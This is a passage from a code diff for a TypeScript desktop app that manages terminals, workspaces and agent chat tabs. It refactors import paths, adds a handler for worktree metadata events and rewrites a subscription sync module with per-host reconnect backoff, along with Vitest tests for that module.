 import { subscribeToUnpairedDeviceAuthNotification } from '../unpaired-device-auth-notification'
 import { translate } from '@/i18n/i18n'
 import { toast } from 'sonner'
-import { useAppStore } from '../../store'
+import { useAppStore } from '../../store/index'
 import { openPluginInstallLink } from '../../store/plugins/navigation/plugin-preview-request'
 
 function getShortcutPlatform(): NodeJS.Platform {
@@ -165,7 +165,7 @@ export function registerSettingsAndSidebarIpcBridge(unsubs: (() => void)[]): voi
   unsubs.push(
     window.api.ui.onToggleRightSidebar(() => {
       const store = useAppStore.getState()
-      if (!canToggleRightSidebar(store.activeView)) {
+      if (!canShowRightSidebarForView(store.activeView)) {
         return
       }
       runBuiltInOrReplacement('sidebar.right.toggle', () => store.toggleRightSidebar())
diff --git a/src/renderer/src/hooks/ipc-events/terminal-pane-title-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/terminal-pane-title-ipc-bridge.ts
index a9fa5c00bd9..5146d6a079e 100644
--- a/src/renderer/src/hooks/ipc-events/terminal-pane-title-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/terminal-pane-title-ipc-bridge.ts
@@ -1,18 +1,16 @@
-import {
-  SET_TERMINAL_PANE_TITLE_EVENT,
-  type SetTerminalPaneTitleDetail
-} from '@/constants/terminal'
+import { SET_TERMINAL_PANE_TITLE_EVENT } from '@/constants/terminal'
+import type { SetTerminalPaneTitleDetail } from '@/constants/terminal'
 import '../../components/terminal-pane/layout/terminal-layout-leaf-traversal'
 import {
   collectLayoutLeafIdsInOrder,
   resolveRootlessTerminalLayoutLeafId
 } from '../../../../shared/workspace-layout/terminal-pane-tree'
-import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '@/lib/structured-chat-tab-index'
+import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '@/lib/agent-session/tab-identity/structured-chat-tab-index'
 import { sendLayoutCommandToOwner } from '@/runtime/workspace-layout/commands/layout-owner-command'
-import { useAppStore } from '../../store'
-import type { TerminalLayoutSnapshot } from '../../../../shared/workspace-layout/terminal-tab-types'
+import { useAppStore } from '../../store/index'
 import { isTerminalLeafId } from '../../../../shared/workspace-layout/stable-pane-id'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
+import type { TerminalLayoutSnapshot } from '../../../../shared/workspace-layout/terminal-tab-types'
 
 function showRuntimePaneTitle(tabId: string, leafId: string, title: string | null): void {
   const store = useAppStore.getState()
diff --git a/src/renderer/src/hooks/ipc-events/terminal-presentation-frame-drawn-tab.test.ts b/src/renderer/src/hooks/ipc-events/terminal-presentation-frame-drawn-tab.test.ts
index e4a95a8bf96..3b1e8dbff8f 100644
--- a/src/renderer/src/hooks/ipc-events/terminal-presentation-frame-drawn-tab.test.ts
+++ b/src/renderer/src/hooks/ipc-events/terminal-presentation-frame-drawn-tab.test.ts
@@ -129,28 +129,4 @@ describe('revealing a terminal main created, in a layout-owner build', () => {
       command: expect.objectContaining({ type: 'createTerminalTab', tabId: TAB, leafId: LEAF })
     })
   })
-
-  it('reuses the frame-drawn tab even when stale records leave the terminal’s owner unclear', () => {
-    const { store, reveal, replyTerminalCreate } = setup()
-    store.setState({
-      tabsByWorktree: {
-        [WORKTREE]: [
-          ...store.getState().tabsByWorktree[WORKTREE]!,
-          makeTab({ id: 'stale-1', worktreeId: WORKTREE, ptyId: 'pty-1' }),
-          makeTab({ id: 'stale-2', worktreeId: WORKTREE, ptyId: 'pty-1' })
-        ]
-      }
-    })
-
-    reveal()
-
-    expect(store.getState().tabsByWorktree[WORKTREE]?.map((tab) => tab.id)).toEqual([
-      TAB,
-      'stale-1',
-      'stale-2'
-    ])
-    expect(replyTerminalCreate).toHaveBeenCalledWith(
-      expect.objectContaining({ requestId: 'request-1', tabId: TAB })
-    )
-  })
 })
diff --git a/src/renderer/src/hooks/ipc-events/terminal-presentation-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/terminal-presentation-ipc-bridge.ts
index 7c3ad1e95be..c6c389db558 100644
--- a/src/renderer/src/hooks/ipc-events/terminal-presentation-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/terminal-presentation-ipc-bridge.ts
@@ -7,12 +7,12 @@ import { SPLIT_TERMINAL_PANE_EVENT } from '@/constants/terminal'
 import type { SplitTerminalPaneDetail } from '@/constants/terminal'
 import { singlePaneLayoutSnapshot } from '@/store/terminals/terminal-single-pane-layout'
 import { verifyTerminalRevealIdentity } from '@/lib/workspace/tabs/terminal-reveal-identity'
-import { insertUnifiedTabAfterAnchor } from '@/lib/unified-tab-anchor-insertion'
+import { insertUnifiedTabAfterAnchor } from '@/lib/workspace/tabs/unified-tab-anchor-insertion'
 import { tryMakePaneKey } from './agent-status-routing'
 import { registerLaunchRecipe } from './launch-recipe-registration'
 import { wasAgentLaunchPaneClosedByUser } from '@/lib/agent-session/launch/pane/agent-launch-pane-closes'
 import { revealWorkspaceSurface } from '@/lib/workspace/activation/workspace-surface-reveal'
-import { useAppStore } from '../../store'
+import { useAppStore } from '../../store/index'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
 import {
   activateExistingLeafInLayout,
diff --git a/src/renderer/src/hooks/ipc-events/terminal-request-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/terminal-request-ipc-bridge.ts
index f6c72d1e923..6e977753cfe 100644
--- a/src/renderer/src/hooks/ipc-events/terminal-request-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/terminal-request-ipc-bridge.ts
@@ -1,9 +1,9 @@
 import { requestBackgroundTerminalWorktreeMount } from '@/components/terminal/background-terminal-worktree-mount'
 import { resolveTerminalWorktreeRoute } from '@/lib/workspace/ownership/terminal-worktree-route'
-import { insertUnifiedTabAfterAnchor } from '@/lib/unified-tab-anchor-insertion'
+import { insertUnifiedTabAfterAnchor } from '@/lib/workspace/tabs/unified-tab-anchor-insertion'
 import { translate } from '@/i18n/i18n'
 import { revealWorkspaceSurface } from '@/lib/workspace/activation/workspace-surface-reveal'
-import { useAppStore } from '../../store'
+import { useAppStore } from '../../store/index'
 import { focusTerminalInitiatedTab, resolveTerminalPresentation } from './terminal-command-state'
 
 export function registerTerminalRequestIpcBridge(unsubs: (() => void)[]): void {
diff --git a/src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge.ts
index 80029ac0ba8..9b723b2ae41 100644
--- a/src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge.ts
@@ -13,6 +13,31 @@ import { resolveWindowTabIdForHostTab } from './host-session-tab-target'
 import { revealWorkspaceSurface } from '@/lib/workspace/activation/workspace-surface-reveal'
 import { focusTerminalInitiatedTab } from './terminal-command-state'
 import { applyRuntimePaneTitle } from './terminal-pane-title-ipc-bridge'
+import { isStructuredAgentSessionHostTabId } from '../../../../shared/agent-session/view/structured-agent-session-host-tab-id'
+import { LOCAL_STRUCTURED_SESSION_OWNER } from '@/runtime/native-chat/local-sessions/local-structured-session-owner'
+import {
+  recordWebSessionFocusIntent,
+  resolveWebSessionVisibleTabId
+} from '@/runtime/web-session-tabs-sync/navigation/web-session-focus-intent'
+
+/** A launched chat's listing can trail its focus request; follow it then, unless the user picked a tab meanwhile. */
+function focusChatWhenListed(worktreeId: string, hostTabId: string): void {
+  // A just-created worktree is not known yet; its own activation reveals it.
+  if (useAppStore.getState().getKnownWorktreeById(worktreeId)) {
+    revealWorkspaceSurface(useAppStore.getState(), worktreeId)
+  }
+  // Read after the reveal, which can change the workspace's visible tab.
+  const store = useAppStore.getState()
+  const populated = (store.unifiedTabsByWorktree[worktreeId] ?? []).length > 0
+  recordWebSessionFocusIntent(
+    { environmentId: LOCAL_STRUCTURED_SESSION_OWNER },
+    worktreeId,
+    hostTabId,
+    undefined,
+    // An empty workspace is still provisioning; its Setup and first terminal tabs must not cancel this.
+    populated ? resolveWebSessionVisibleTabId(store, worktreeId) : undefined
+  )
+}
 
 type RuntimeTerminalSplitRequest = SplitTerminalPaneDetail & { worktreeId?: string }
 
@@ -166,6 +191,10 @@ export function registerTerminalUiRoutingIpcBridge(unsubs: (() => void)[]): void
         return
       }
       if (!tab) {
+        if (userInitiated && isStructuredAgentSessionHostTabId(tabId)) {
+          focusChatWhenListed(worktreeId, tabId)
+          return
+        }
         if (browserTarget) {
           // Why: older/mobile fallback snapshots identify browser tabs by workspace id when no unified tab wrapper exists.
           revealWorkspaceSurface(store, worktreeId)
diff --git a/src/renderer/src/hooks/ipc-events/workspace-shortcut-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/workspace-shortcut-ipc-bridge.ts
index 7d986748e0d..c91a98fced9 100644
--- a/src/renderer/src/hooks/ipc-events/workspace-shortcut-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/workspace-shortcut-ipc-bridge.ts
@@ -1,13 +1,13 @@
-import { TOGGLE_QUICK_COMMANDS_MENU_EVENT } from '@/lib/quick-commands-menu-events'
+import { TOGGLE_QUICK_COMMANDS_MENU_EVENT } from '@/lib/terminal/quick-commands/quick-commands-menu-events'
 import { TOGGLE_WORKSPACE_BOARD_EVENT } from '@/components/sidebar/workspace-board/surface/useWorkspaceBoardPanel'
 import { activateTabNumberShortcut } from '@/lib/keyboard/tab-number-shortcuts'
-import { emitCmdJRowIndexJump } from '@/lib/cmd-j-row-index-jump'
+import { emitCmdJRowIndexJump } from '@/lib/workspace/search/palette/cmd-j-row-index-jump'
 import { getVisibleWorktreeShortcutTargets } from '@/components/sidebar/worktree-list/listing/visible-worktrees'
 import { activateAndRevealWorkspace } from '@/lib/workspace/activation/worktree-activation'
-import { deleteHoveredWorkspaceImmediately } from '@/components/sidebar/workspace-actions/deletion/hovered-workspace-delete'
+import { deleteActiveWorkspaceFromShortcut } from '@/components/sidebar/workspace-actions/deletion/active-workspace-delete'
 import { isFloatingWorkspacePanelFocused } from '@/components/floating-terminal/floating-workspace-terminal-actions'
 import { isGitRepoKind } from '../../../../shared/repo-kind'
-import { runBuiltInOrReplacement } from '@/lib/plugin-command-replacements'
+import { runBuiltInOrReplacement } from '@/lib/plugins/commands/plugin-command-replacements'
 import { useAppStore } from '../../store/index'
 import { toggleAgentDashboardFromShortcut } from './agent-dashboard-command'
 import { openNewWorkspaceFromShortcut } from './new-workspace-command'
@@ -41,7 +41,7 @@ export function registerWorkspaceShortcutIpcBridge(unsubs: (() => void)[]): void
         if (isFloatingWorkspacePanelFocused()) {
           return
         }
-        deleteHoveredWorkspaceImmediately(useAppStore.getState())
+        deleteActiveWorkspaceFromShortcut(useAppStore.getState())
       })
     )
   }
diff --git a/src/renderer/src/hooks/ipc-events/worktree-metadata-set-events.ts b/src/renderer/src/hooks/ipc-events/worktree-metadata-set-events.ts
new file mode 100644
index 00000000000..9ce76a4dc55
--- /dev/null
+++ b/src/renderer/src/hooks/ipc-events/worktree-metadata-set-events.ts
@@ -0,0 +1,98 @@
+import { applyHostWorktreeTerminalSleepState } from '@/components/terminal-pane/pty-transport/shutdown/pty-shutdown-exit-deferral'
+import {
+  getRepoExecutionHostId,
+  toRuntimeExecutionHostId,
+  type ExecutionHostId
+} from '../../../../shared/execution-host'
+import type { RuntimeClientEvent } from '../../../../shared/runtime-client-events'
+import { readWorkspaceMetadataSet } from '../../../../shared/worktree/workspace-metadata-set'
+import { useAppStore } from '../../store'
+import {
+  noteWorkspaceMetadataRecord,
+  requireWorkspaceMetadataCoverage,
+  workspaceMetadataProducerKey
+} from '../../store/slices/worktrees/listing/workspace-metadata-coverage'
+import { requestWorkspaceMetadataRecovery } from '../../store/slices/worktrees/listing/workspace-metadata-recovery'
+import {
+  patchWorktreeMetadataSet,
+  type MetadataSetSource
+} from '../../store/slices/worktrees/listing/worktree-metadata-set-patch'
+import type { WorktreeFetchOptions } from '../../store/slices/worktrees/listing/worktree-fetch-options'
+
+const fetchWorktrees = (repoId: string, options: WorktreeFetchOptions): Promise<unknown> =>
+  useAppStore.getState().fetchWorktrees(repoId, options)
+
+function apply(record: unknown, source: MetadataSetSource): void {
+  const set = readWorkspaceMetadataSet(record)
+  if (!set) {
+    return
+  }
+  // The listing owner for this record's repo: this app (local and SSH rows) or the paired environment.
+  const listingHost: ExecutionHostId =
+    source.kind === 'environment' ? toRuntimeExecutionHostId(source.environmentId) : set.hostId
+  const producerKey = workspaceMetadataProducerKey(listingHost)
+  // Every repo projection this producer lists here, built only for a gap or a first-seen projection.
+  let projections: { repoId: string; hostId: ExecutionHostId }[] | undefined
+  let listed: Set<string> | undefined
+  const producerProjections = (): { repoId: string; hostId: ExecutionHostId }[] =>
+    (projections ??= useAppStore.getState().repos.flatMap((repo) => {
+      const hostId = getRepoExecutionHostId(repo)
+      return workspaceMetadataProducerKey(hostId) === producerKey
+        ? [{ repoId: repo.id, hostId }]
+        : []
+    }))
+  const { replayed, gap } = noteWorkspaceMetadataRecord(
+    producerKey,
+    set.epoch,
+    set.seq,
+    set.repoId,
+    listingHost,
+    (repoId, hostId) =>
+      (listed ??= new Set(producerProjections().map((p) => `${p.hostId}\u0000${p.repoId}`))).has(
+        `${hostId}\u0000${repoId}`
+      )
+  )
+  if (replayed) {
+    return
+  }
+  let applied = false
+  useAppStore.setState((current) => {
+    const result = patchWorktreeMetadataSet(current, set, source)
+    applied = result.applied
+    return result.patch ?? current
+  })
+  if (gap) {
+    // A missed record names no projection: list every one this producer owns here, each once.
+    requireWorkspaceMetadataCoverage(producerKey, producerProjections())
+    for (const { repoId, hostId } of producerProjections()) {
+      requestWorkspaceMetadataRecovery(repoId, hostId, fetchWorktrees)
+    }
+  } else if (!applied) {
+    // The row or a link isn't listed yet; a listing begun now includes this record.
+    requestWorkspaceMetadataRecovery(set.repoId, listingHost, fetchWorktrees)
+  }
+}
+
+/** This app's own host: the record names the host its row lives on. */
+export function applyLocalWorktreeMetadataSet(record: unknown): void {
+  apply(record, { kind: 'local' })
+}
+
+/**
+ * A paired host's per-workspace row events, after the bridge's connection-generation check.
+ * Returns false for any other event.
+ */
+export function applyHostWorkspaceRowEvent(
+  environmentId: string,
+  event: RuntimeClientEvent
+): boolean {
+  if (event.type === 'worktreeTerminalSleepState') {
+    applyHostWorktreeTerminalSleepState(environmentId, event)
+    return true
+  }
+  if (event.type === 'workspaceMetadataSet') {
+    apply(event, { kind: 'environment', environmentId })
+    return true
+  }
+  return false
+}
diff --git a/src/renderer/src/hooks/ipc-events/zoom-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/zoom-ipc-bridge.ts
index 550622d4b90..51db085ae17 100644
--- a/src/renderer/src/hooks/ipc-events/zoom-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/zoom-ipc-bridge.ts
@@ -1,14 +1,14 @@
 import { writeNativeChatFontSize } from '@/components/native-chat/appearance/native-chat-font-size-write'
-import { applyUIZoom } from '@/lib/ui-zoom'
+import { applyUIZoom } from '@/app-shell/chrome/ui-zoom'
 import {
   computeEditorFontSize,
   nextEditorFontZoomLevel
 } from '../../../../shared/editor/editor-font-zoom'
 import { resolveEditorBaseFontSize } from '../../../../shared/editor/editor-typography'
 import { zoomLevelToPercent, stepUIZoomLevel } from '../../../../shared/ui-zoom-level'
-import { dispatchZoomLevelChanged } from '@/lib/zoom-events'
+import { dispatchZoomLevelChanged } from '@/app-shell/chrome/zoom-events'
 
-import { useAppStore } from '../../store'
+import { useAppStore } from '../../store/index'
 import { focusedBrowserPageId, resolveZoomTarget } from '../resolve-zoom-target'
 import { dispatchBrowserPageZoom } from '@/components/browser-pane/host-guest/browser-page-zoom'
 import {
diff --git a/src/renderer/src/hooks/runtime-client-events-sync.test.ts b/src/renderer/src/hooks/runtime-client-events-sync.test.ts
index 529ef3340ee..01f11fe17ad 100644
--- a/src/renderer/src/hooks/runtime-client-events-sync.test.ts
+++ b/src/renderer/src/hooks/runtime-client-events-sync.test.ts
@@ -211,6 +211,73 @@ describe('createRuntimeClientEventsSync', () => {
     }
   })
 
+  it('resubscribes on its own when the stream closes, backing off until a stream stays up', async () => {
+    vi.useFakeTimers()
+    try {
+      const closes: (() => void)[] = []
+      const unsubscribes: ReturnType<typeof vi.fn>[] = []
+      const subscribe = vi.fn(
+        (
+          _environmentId: string,
+          _onEvent: unknown,
+          _onError: unknown,
+          _isCurrent: unknown,
+          onClose?: () => void
+        ): Promise<RuntimeClientEventSubscriptionHandle> => {
+          const unsubscribe = vi.fn()
+          unsubscribes.push(unsubscribe)
+          closes.push(() => onClose?.())
+          // The first stream closes before its setup settles.
+          if (closes.length === 1) {
+            onClose?.()
+          }
+          return Promise.resolve({ unsubscribe })
+        }
+      )
+      const sync = createRuntimeClientEventsSync({
+        getDesiredEnvironmentIds: () => ['A'],
+        getSubscriptionKey: () => 'A:1',
+        subscribe,
+        onEvent: vi.fn(),
+        retryDelayMs: 10,
+        retryMaxDelayMs: 40,
+        random: () => 1
+      })
+
+      sync.sync()
+      await vi.advanceTimersByTimeAsync(0)
+      expect(unsubscribes[0]).toHaveBeenCalledTimes(1)
+      await vi.advanceTimersByTimeAsync(10)
+      expect(subscribe).toHaveBeenCalledTimes(2)
+
+      // Streams that close right after setup back off 20, 40, then stay capped at 40.
+      for (const [attempt, delay] of [
+        [2, 20],
+        [3, 40],
+        [4, 40]
+      ]) {
+        closes[attempt - 1]()
+        await vi.advanceTimersByTimeAsync(delay - 1)
+        expect(subscribe).toHaveBeenCalledTimes(attempt)
+        await vi.advanceTimersByTimeAsync(1)
+        expect(subscribe).toHaveBeenCalledTimes(attempt + 1)
+      }
+
+      // A late close from a replaced stream must not drop the live one.
+      closes[1]()
+      await vi.advanceTimersByTimeAsync(40)
+      expect(subscribe).toHaveBeenCalledTimes(5)
+
+      // A stream that stayed up 30s ends the streak: the next retry uses the base delay.
+      await vi.advanceTimersByTimeAsync(30_000)
+      closes[4]()
+      await vi.advanceTimersByTimeAsync(10)
+      expect(subscribe).toHaveBeenCalledTimes(6)
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
   it('backs off exponentially with a cap while an environment keeps failing', async () => {
     vi.useFakeTimers()
     try {
@@ -282,7 +349,7 @@ describe('createRuntimeClientEventsSync', () => {
     }
   })
 
-  it('an external sync retries a waiting environment immediately (recovery path)', async () => {
+  it('an explicit recovery wake retries a waiting environment immediately', async () => {
     vi.useFakeTimers()
     try {
       const subscribe = vi.fn((): Promise<RuntimeClientEventSubscriptionHandle> =>
@@ -302,7 +369,7 @@ describe('createRuntimeClientEventsSync', () => {
       expect(subscribe).toHaveBeenCalledTimes(1)
 
       // Reachability changes retry immediately instead of waiting on backoff.
-      sync.sync()
+      sync.sync(['A'])
       await vi.advanceTimersByTimeAsync(0)
       expect(subscribe).toHaveBeenCalledTimes(2)
     } finally {
@@ -310,6 +377,104 @@ describe('createRuntimeClientEventsSync', () => {
     }
   })
 
+  it.each([10, 100])('keeps retries local to due hosts in a fleet of %i', async (hostCount) => {
+    vi.useFakeTimers()
+    try {
+      const desired = Array.from({ length: hostCount }, (_, i) => `host-${i}`)
+      const getDesiredEnvironmentIds = vi.fn(() => desired)
+      const getSubscriptionKey = vi.fn((id: string) => id)
+      const closes = new Map<string, () => void>()
+      const subscribe = vi.fn(
+        (id: string, _event: unknown, _error: unknown, _current: unknown, close: () => void) => {
+          closes.set(id, close)
+          return Promise.resolve({ unsubscribe: vi.fn() })
+        }
+      )
+      const sync = createRuntimeClientEventsSync({
+        getDesiredEnvironmentIds,
+        getSubscriptionKey,
+        subscribe,
+        onEvent: vi.fn(),
+        random: () => 1
+      })
+      sync.sync()
+      await vi.advanceTimersByTimeAsync(0)
+      getDesiredEnvironmentIds.mockClear()
+      getSubscriptionKey.mockClear()
+      subscribe.mockClear()
+
+      closes.get('host-0')!()
+      await vi.advanceTimersByTimeAsync(1_000)
+      expect(subscribe.mock.calls.map(([id]) => id)).toEqual(['host-0'])
+      expect(getDesiredEnvironmentIds).not.toHaveBeenCalled()
+      expect(getSubscriptionKey).not.toHaveBeenCalled()
+
+      subscribe.mockClear()
+      for (const close of closes.values()) {
+        close()
+      }
+      // Every host is due once within 2s; only host-0 has a prior failure.
+      await vi.advanceTimersByTimeAsync(2_000)
+      expect(subscribe).toHaveBeenCalledTimes(hostCount)
+      expect(new Set(subscribe.mock.calls.map(([id]) => id)).size).toBe(hostCount)
+      expect(getDesiredEnvironmentIds).not.toHaveBeenCalled()
+      expect(getSubscriptionKey).not.toHaveBeenCalled()
+      sync.stop()
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
+  it('preserves sibling deadlines across retries, reconciliation, and scoped recovery', async () => {
+    vi.useFakeTimers()
+    try {
+      const closes = new Map<string, () => void>()
+      const attempts: { id: string; at: number }[] = []
+      const sync = createRuntimeClientEventsSync({
+        getDesiredEnvironmentIds: () => ['A', 'B'],
+        subscribe: (id, _event, _error, _current, close) => {
+          attempts.push({ id, at: Date.now() })
+          closes.set(id, close)
+          return Promise.resolve({ unsubscribe: vi.fn() })
+        },
+        onEvent: vi.fn(),
+        random: () => 1
+      })
+      vi.setSystemTime(0)
+      sync.sync()
+      await vi.advanceTimersByTimeAsync(0)
+      for (const delay of [1_000, 2_000, 4_000, 8_000, 16_000]) {
+        closes.get('A')!()
+        await vi.advanceTimersByTimeAsync(delay)
+      }
+      // A is due at 61s. B's first close at 31s must not reset A's deadline.
+      closes.get('A')!()
+      closes.get('B')!()
+      sync.sync()
+      await vi.advanceTimersByTimeAsync(1_000)
+      expect(attempts.filter(({ id }) => id === 'A').map(({ at }) => at)).toEqual([
+        0, 1_000, 3_000, 7_000, 15_000, 31_000
+      ])
+      expect(attempts.filter(({ id }) => id === 'B').map(({ at }) => at)).toEqual([0, 32_000])
+
+      closes.get('B')!()
+      sync.sync(['B'])
+      await vi.advanceTimersByTimeAsync(0)
+      expect(attempts.filter(({ id }) => id === 'B').map(({ at }) => at)).toEqual([
+        0, 32_000, 32_000
+      ])
+      await vi.advanceTimersByTimeAsync(28_999)
+      expect(attempts.filter(({ id }) => id === 'A')).toHaveLength(6)
+      await vi.advanceTimersByTimeAsync(1)
+      expect(attempts.filter(({ id }) => id === 'A').map(({ at }) => at)).toEqual([
+        0, 1_000, 3_000, 7_000, 15_000, 31_000, 61_000
+      ])
+      sync.stop()
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
   it('does not carry a stale failure count when a rejection lands after the env left the set', async () => {
     vi.useFakeTimers()
     try {
diff --git a/src/renderer/src/hooks/runtime-client-events-sync.ts b/src/renderer/src/hooks/runtime-client-events-sync.ts
index 19d60767dfe..9709f6160f9 100644
--- a/src/renderer/src/hooks/runtime-client-events-sync.ts
+++ b/src/renderer/src/hooks/runtime-client-events-sync.ts
@@ -5,8 +5,8 @@ export type RuntimeClientEventSubscriptionHandle = {
 }
 
 export type RuntimeClientEventsSyncDeps = {
-  /** Current set of runtime environment ids that should have a live client-event
-   *  subscription. Re-read on every sync and at subscribe-resolution time. */
+  /** Current desired hosts. Membership and key changes must synchronously call sync;
+   *  retries and settlements use the ownership that reconciliation established. */
   getDesiredEnvironmentIds: () => string[]
   /** Changes when an environment's transport generation requires a fresh subscription. */
   getSubscriptionKey?: (environmentId: string) => string
@@ -15,7 +15,9 @@ export type RuntimeClientEventsSyncDeps = {
     onEvent: (event: RuntimeClientEvent) => void,
     onError: (error: unknown) => void,
     /** Use for subscription-side recovery that runs before event delivery. */
-    isCurrent: () => boolean
+    isCurrent: () => boolean,
+    /** The stream ended (e.g. its host connection was replaced); the owner resubscribes. */
+    onClose: () => void
   ) => Promise<RuntimeClientEventSubscriptionHandle>
   onEvent: (environmentId: string, event: RuntimeClientEvent) => void
   /** Base retry delay; doubles per consecutive failure up to retryMaxDelayMs. */
@@ -26,221 +28,160 @@ export type RuntimeClientEventsSyncDeps = {
 }
 
 export type RuntimeClientEventsSync = {
-  /** Reconciles live subscriptions to the desired environment set. */
-  sync: () => void
-  /** Tears down all subscriptions and bumps the generation so in-flight
-   *  subscribes resolve into a no-op. */
+  /** Reconciles desired hosts; recovery ids explicitly wake those hosts before their retry deadline. */
+  sync: (recoveryEnvironmentIds?: readonly string[]) => void
+  /** Retires all ownership so in-flight subscriptions are released on settlement. */
   stop: () => void
 }
 
-/** Reconcile one subscription per desired environment; remove/re-add can race two in-flight subscribes without a generation change. Keep the first winner and unsubscribe duplicates rather than overwriting and leaking its handle. */
+const STABLE_STREAM_MS = 30_000
+
+type SubscriptionAttempt = {
+  closed: boolean
+  unsubscribe?: () => void
+  installedAt?: number
+}
+
+type EnvironmentSubscription = {
+  key: string
+  attempt?: SubscriptionAttempt
+  failures: number
+  retryTimer?: ReturnType<typeof setTimeout>
+}
+
 export function createRuntimeClientEventsSync(
   deps: RuntimeClientEventsSyncDeps
 ): RuntimeClientEventsSync {
-  type SubscriptionToken = { key: string; generation: number }
-  const subscriptions = new Map<
-    string,
-    { key: string; token: SubscriptionToken; unsubscribe: () => void }
-  >()
-  const pending = new Map<string, SubscriptionToken>()
-  const retryTimers = new Map<string, ReturnType<typeof setTimeout>>()
-  const consecutiveFailures = new Map<string, { key: string; count: number }>()
+  const environments = new Map<string, EnvironmentSubscription>()
   const retryDelayMs = deps.retryDelayMs ?? 1_000
   const retryMaxDelayMs = deps.retryMaxDelayMs ?? 30_000
   const random = deps.random ?? Math.random
   const getSubscriptionKey = deps.getSubscriptionKey ?? ((environmentId: string) => environmentId)
-  let generation = 0
   let syncInvocation = 0
 
-  const clearRetryTimer = (environmentId: string): void => {
-    const retryTimer = retryTimers.get(environmentId)
-    if (!retryTimer) {
-      return
+  const clearRetry = (entry: EnvironmentSubscription): void => {
+    if (entry.retryTimer !== undefined) {
+      clearTimeout(entry.retryTimer)
+      entry.retryTimer = undefined
     }
-    clearTimeout(retryTimer)
-    retryTimers.delete(environmentId)
   }
 
-  const nextRetryDelayMs = (environmentId: string, subscriptionKey: string): number => {
-    // Exponential capped jitter paces dead hosts without synchronized retries; external reachability/desired transitions still retry immediately.
-    const failure = consecutiveFailures.get(environmentId)
-    const failures = failure?.key === subscriptionKey ? failure.count : 0
-    const capped = Math.min(retryDelayMs * 2 ** Math.max(0, failures - 1), retryMaxDelayMs)
-    return capped * (0.5 + random() * 0.5)
+  const retire = (entry: EnvironmentSubscription): void => {
+    clearRetry(entry)
+    const attempt = entry.attempt
+    entry.attempt = undefined
+    attempt?.unsubscribe?.()
   }
 
-  const scheduleRetry = (
-    environmentId: string,
-    subscriptionKey: string,
-    subscribeGeneration: number
-  ): void => {
-    if (retryTimers.has(environmentId)) {
+  const scheduleRetry = (environmentId: string, entry: EnvironmentSubscription): void => {
+    if (environments.get(environmentId) !== entry || entry.retryTimer !== undefined) {
       return
     }
-    // Store writes no longer drive retries; keep a bounded timer while failed environments remain desired.
-    const retryTimer = setTimeout(
+    const capped = Math.min(retryDelayMs * 2 ** Math.max(0, entry.failures - 1), retryMaxDelayMs)
+    entry.retryTimer = setTimeout(
       () => {
-        retryTimers.delete(environmentId)
-        if (
-          subscribeGeneration !== generation ||
-          !deps.getDesiredEnvironmentIds().includes(environmentId) ||
-          getSubscriptionKey(environmentId) !== subscriptionKey
-        ) {
+        entry.retryTimer = undefined
+        if (environments.get(environmentId) === entry) {
+          startAttempt(environmentId, entry)
+        }
+      },
+      capped * (0.5 + random() * 0.5)
+    )
+  }
+
+  const startAttempt = (environmentId: string, entry: EnvironmentSubscription): void => {
+    if (environments.get(environmentId) !== entry || entry.attempt) {
+      return
+    }
+    clearRetry(entry)
+    const attempt: SubscriptionAttempt = { closed: false }
+    entry.attempt = attempt
+    const ownsAttempt = (): boolean =>
+      environments.get(environmentId) === entry && entry.attempt === attempt
+    const isCurrent = (): boolean => ownsAttempt() && !attempt.closed
+    void deps
+      .subscribe(
+        environmentId,
+        (event) => {
+          if (isCurrent()) {
+            deps.onEvent(environmentId, event)
+          }
+        },
+        (error) => console.warn('[runtime-client-events] subscription error:', error),
+        isCurrent,
+        () => {
+          attempt.closed = true
+          if (!ownsAttempt() || attempt.installedAt === undefined) {
+            return
+          }
+          entry.attempt = undefined
+          if (Date.now() - attempt.installedAt >= STABLE_STREAM_MS) {
+            entry.failures = 0
+          }
+          entry.failures += 1
+          scheduleRetry(environmentId, entry)
+        }
+      )
+      .then((subscription) => {
+        if (!ownsAttempt()) {
+          subscription.unsubscribe()
           return
         }
-        sync()
-      },
-      nextRetryDelayMs(environmentId, subscriptionKey)
-    )
-    retryTimers.set(environmentId, retryTimer)
+        if (attempt.closed) {
+          entry.attempt = undefined
+          subscription.unsubscribe()
+          entry.failures += 1
+          scheduleRetry(environmentId, entry)
+          return
+        }
+        attempt.unsubscribe = subscription.unsubscribe
+        attempt.installedAt = Date.now()
+      })
+      .catch((error) => {
+        if (ownsAttempt()) {
+          entry.attempt = undefined
+          console.warn('[runtime-client-events] failed to subscribe:', error)
+          entry.failures += 1
+          scheduleRetry(environmentId, entry)
+        }
+      })
+  }
+
+  const sync = (recoveryEnvironmentIds: readonly string[] = []): void => {
+    const invocation = ++syncInvocation
+    const desiredIds = new Set(deps.getDesiredEnvironmentIds())
+    for (const [environmentId, entry] of environments) {
+      if (invocation !== syncInvocation) {
+        return
+      }
+      if (desiredIds.has(environmentId) && entry.key === getSubscriptionKey(environmentId)) {
+        continue
+      }
+      environments.delete(environmentId)
+      retire(entry)
+    }
+    const recoveryIds = new Set(recoveryEnvironmentIds)
+    for (const environmentId of desiredIds) {
+      if (invocation !== syncInvocation) {
+        return
+      }
+      let entry = environments.get(environmentId)
+      if (!entry) {
+        entry = { key: getSubscriptionKey(environmentId), failures: 0 }
+        environments.set(environmentId, entry)
+      }
